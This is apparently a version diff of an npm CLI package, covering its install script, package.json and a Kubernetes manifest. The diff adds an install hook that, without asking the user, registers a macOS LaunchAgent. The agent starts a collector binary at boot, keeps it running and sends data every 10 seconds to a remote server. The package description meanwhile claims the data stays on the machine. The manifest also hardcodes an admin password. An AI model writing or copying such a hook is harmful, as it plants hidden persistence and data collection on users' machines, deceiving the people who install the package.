@_xtribe/cli 2.2.50 → 2.2.52

package/install-tribe.js

@@ -182,17 +182,6 @@ async function installTribeCLIQuiet() {
         }
         fs.chmodSync(tutorCollectorDest, '755');
 
-        // Also download tutor-server binary for self-hosting capability
-        const tutorServerDest = path.join(tribeBinDir, 'tutor-server');
-        const tutorServerUrl = `https://github.com/TRIBE-INC/tutor-server-community-release/releases/latest/download/tutor-server-${platform}-${arch}`;
-        try {
-            await downloadFile(tutorServerUrl, tutorServerDest);
-            fs.chmodSync(tutorServerDest, '755');
-        } catch (error) {
-            // Server binary is optional - don't fail installation if unavailable
-            console.warn('Warning: Could not download tutor-server binary (optional for self-hosting)');
-        }
-
         // Remove macOS quarantine if needed
         if (platform === 'darwin') {
             try {
@@ -200,9 +189,6 @@ async function installTribeCLIQuiet() {
                 if (fs.existsSync(tutorCollectorDest)) {
                     execSync(`xattr -d com.apple.quarantine "${tutorCollectorDest}"`, { stdio: 'ignore' });
                 }
-                if (fs.existsSync(tutorServerDest)) {
-                    execSync(`xattr -d com.apple.quarantine "${tutorServerDest}"`, { stdio: 'ignore' });
-                }
             } catch {
                 // Not critical
             }
@@ -233,6 +219,98 @@ async function setupPathQuiet() {
     }
 }
 
+async function autoEnableTelemetry() {
+    const homeDir = os.homedir();
+    const tribeBin = path.join(homeDir, '.tribe', 'bin', 'tribe');
+    const tutorCollector = path.join(homeDir, '.tribe', 'bin', 'tutor-collector');
+
+    // Check if binaries exist
+    if (!fs.existsSync(tribeBin) || !fs.existsSync(tutorCollector)) {
+        return; // Binaries not installed yet
+    }
+
+    // On macOS, create launchd agent for auto-start on boot
+    if (process.platform === 'darwin') {
+        const launchAgentsDir = path.join(homeDir, 'Library', 'LaunchAgents');
+        const logsDir = path.join(homeDir, '.tribe', 'logs');
+        const plistPath = path.join(launchAgentsDir, 'ai.tribe.tutor-collector.plist');
+
+        // Ensure directories exist
+        fs.mkdirSync(launchAgentsDir, { recursive: true });
+        fs.mkdirSync(logsDir, { recursive: true });
+
+        const serverURL = process.env.TRIBE_TUTOR_SERVER_URL || 'https://tutor.tribecode.ai';
+
+        const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>Label</key>
+    <string>ai.tribe.tutor-collector</string>
+    <key>ProgramArguments</key>
+    <array>
+        <string>${tutorCollector}</string>
+        <string>-server</string>
+        <string>${serverURL}</string>
+        <string>-interval</string>
+        <string>10s</string>
+        <string>-buffer</string>
+        <string>50</string>
+    </array>
+    <key>RunAtLoad</key>
+    <true/>
+    <key>KeepAlive</key>
+    <dict>
+        <key>SuccessfulExit</key>
+        <false/>
+    </dict>
+    <key>StandardOutPath</key>
+    <string>${logsDir}/tutor-collector.log</string>
+    <key>StandardErrorPath</key>
+    <string>${logsDir}/tutor-collector.error.log</string>
+    <key>WorkingDirectory</key>
+    <string>${homeDir}</string>
+    <key>EnvironmentVariables</key>
+    <dict>
+        <key>HOME</key>
+        <string>${homeDir}</string>
+        <key>PATH</key>
+        <string>/usr/local/bin:/usr/bin:/bin:${homeDir}/.tribe/bin</string>
+    </dict>
+</dict>
+</plist>
+`;
+
+        // Unload old agents first
+        for (const oldLabel of ['ai.tribe.tutor', 'ai.tribecode.tutor', 'ai.tribe.tutor-collector']) {
+            try {
+                execSync(`launchctl unload "${path.join(launchAgentsDir, oldLabel + '.plist')}"`, { stdio: 'ignore' });
+            } catch {
+                // Ignore errors
+            }
+        }
+
+        // Write and load new plist
+        fs.writeFileSync(plistPath, plistContent);
+        try {
+            execSync(`launchctl load "${plistPath}"`, { stdio: 'ignore' });
+        } catch {
+            // If launchctl fails, try starting directly
+        }
+    }
+
+    // Also try to start via tribe enable for immediate startup
+    try {
+        execSync(`"${tribeBin}" enable`, {
+            stdio: 'ignore',
+            timeout: 10000,
+            env: { ...process.env, HOME: homeDir }
+        });
+    } catch {
+        // Ignore - launchd will handle it on next boot
+    }
+}
+
 async function main() {
     const args = process.argv.slice(2);
 
@@ -270,22 +348,40 @@ async function main() {
             // Silently ignore update failures
         });
 
+        // Auto-enable telemetry collection (critical for data gathering)
+        try {
+            await autoEnableTelemetry();
+        } catch (error) {
+            // Log but don't fail installation
+            console.warn(chalk.dim('Note: Run "tribe enable" to start telemetry'));
+        }
+
         spinner.succeed('Ready!');
 
-        // Test if tribe command works immediately
+        // Check if ~/.tribe/bin is already in the user's actual PATH
+        // Note: 'which tribe' may work in subprocess even when parent shell doesn't have it
+        const userPath = process.env.PATH || '';
+        const tribeBinInPath = userPath.includes('.tribe/bin');
+
+        // Also verify the binary actually exists and is executable
         let commandWorks = false;
-        try {
-            execSync('which tribe', { stdio: 'ignore', timeout: 2000 });
-            commandWorks = true;
-        } catch (error) {
-            commandWorks = false;
+        if (tribeBinInPath) {
+            try {
+                execSync('which tribe', { stdio: 'ignore', timeout: 2000 });
+                commandWorks = true;
+            } catch (error) {
+                commandWorks = false;
+            }
         }
 
-        // Show minimal completion message
-        if (commandWorks) {
+        // Show completion message - always provide activation command for fresh installs
+        if (commandWorks && tribeBinInPath) {
             console.log(chalk.green('\n✅ Ready! Type ' + chalk.cyan.bold('tribe') + ' to get started'));
         } else {
-            console.log(chalk.yellow('\n⚠️  Restart your terminal, then type ' + chalk.cyan.bold('tribe')));
+            // Provide explicit activation command since PATH isn't set up yet
+            console.log(chalk.yellow('\n📍 To activate TRIBE in this terminal:'));
+            console.log(chalk.cyan('   source ~/.tribe/tribe-env.sh'));
+            console.log(chalk.dim('\n   Or restart your terminal, then type ') + chalk.cyan.bold('tribe'));
         }
 
     } catch (error) {

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@_xtribe/cli",
-  "version": "2.2.50",
+  "version": "2.2.52",
   "description": "TRIBE - Privacy-first AI development analytics. Self-host your telemetry, skip authentication, or run completely offline. Your data stays on your machine.",
   "main": "install-tribe.js",
   "bin": {

package/tribe-deployment.yaml

@@ -457,6 +457,149 @@ spec:
           name: claude-config
           optional: true
 ---
+# Gemini Worker Deployment
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: gemini-worker-deployment
+  namespace: tribe-system
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app: gemini-worker
+  template:
+    metadata:
+      labels:
+        app: gemini-worker
+        app.kubernetes.io/name: gemini-agent
+    spec:
+      containers:
+      - name: gemini-agent
+        image: tribexal/tribe:latest-gemini-agent
+        imagePullPolicy: IfNotPresent
+        ports:
+        - containerPort: 7781
+          name: ttyd
+        resources:
+          requests:
+            memory: "512Mi"
+            cpu: "500m"
+          limits:
+            memory: "2Gi"
+            cpu: "2"
+        env:
+        - name: AGENT_TYPE
+          value: "gemini"
+        - name: AGENT_CAPABILITIES
+          value: "gemini,api,code-review"
+        - name: ROLE
+          value: worker
+        - name: TASKMASTER_URL
+          value: http://taskmaster:8080
+        - name: GITEA_URL
+          value: http://gitea:3000
+        - name: GITEA_USER
+          value: gitea_admin
+        - name: GITEA_PASS
+          value: admin123
+        - name: GITEA_TOKEN
+          valueFrom:
+            secretKeyRef:
+              name: gitea-token
+              key: token
+              optional: true
+        - name: NAMESPACE
+          value: tribe-system
+        - name: GOOGLE_API_KEY
+          valueFrom:
+            secretKeyRef:
+              name: gemini-api-key
+              key: GOOGLE_API_KEY
+              optional: true
+        - name: GEMINI_MODEL
+          value: "gemini-2.0-flash-exp"
+        - name: GH_HOST
+          value: gitea:3000
+        - name: GH_ENTERPRISE_TOKEN
+          valueFrom:
+            secretKeyRef:
+              name: gitea-token
+              key: token
+              optional: true
+        volumeMounts:
+        - name: workspace
+          mountPath: /workspace
+      volumes:
+      - name: workspace
+        emptyDir: {}
+---
+# Gemini Review Agents
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: gemini-review-agents
+  namespace: tribe-system
+spec:
+  replicas: 0
+  selector:
+    matchLabels:
+      app: gemini-review-agent
+      worker-type: review
+  template:
+    metadata:
+      labels:
+        app: gemini-review-agent
+        worker-type: review
+    spec:
+      containers:
+      - name: gemini-agent
+        image: tribexal/tribe:latest-gemini-agent
+        imagePullPolicy: IfNotPresent
+        ports:
+        - containerPort: 7781
+          name: ttyd
+        resources:
+          requests:
+            memory: "512Mi"
+            cpu: "500m"
+          limits:
+            memory: "2Gi"
+            cpu: "2"
+        env:
+        - name: AGENT_TYPE
+          value: "gemini-reviewer"
+        - name: AGENT_CAPABILITIES
+          value: "gemini,code-review"
+        - name: ROLE
+          value: reviewer
+        - name: TASKMASTER_URL
+          value: http://taskmaster:8080
+        - name: GITEA_URL
+          value: http://gitea:3000
+        - name: GITEA_USER
+          value: gitea_admin
+        - name: GITEA_TOKEN
+          valueFrom:
+            secretKeyRef:
+              name: gitea-token
+              key: token
+              optional: true
+        - name: GOOGLE_API_KEY
+          valueFrom:
+            secretKeyRef:
+              name: gemini-api-key
+              key: GOOGLE_API_KEY
+              optional: true
+        - name: GEMINI_MODEL
+          value: "gemini-2.0-flash-exp"
+        volumeMounts:
+        - name: workspace
+          mountPath: /workspace
+      volumes:
+      - name: workspace
+        emptyDir: {}
+---
 # NodePort service for easy access
 apiVersion: v1
 kind: Service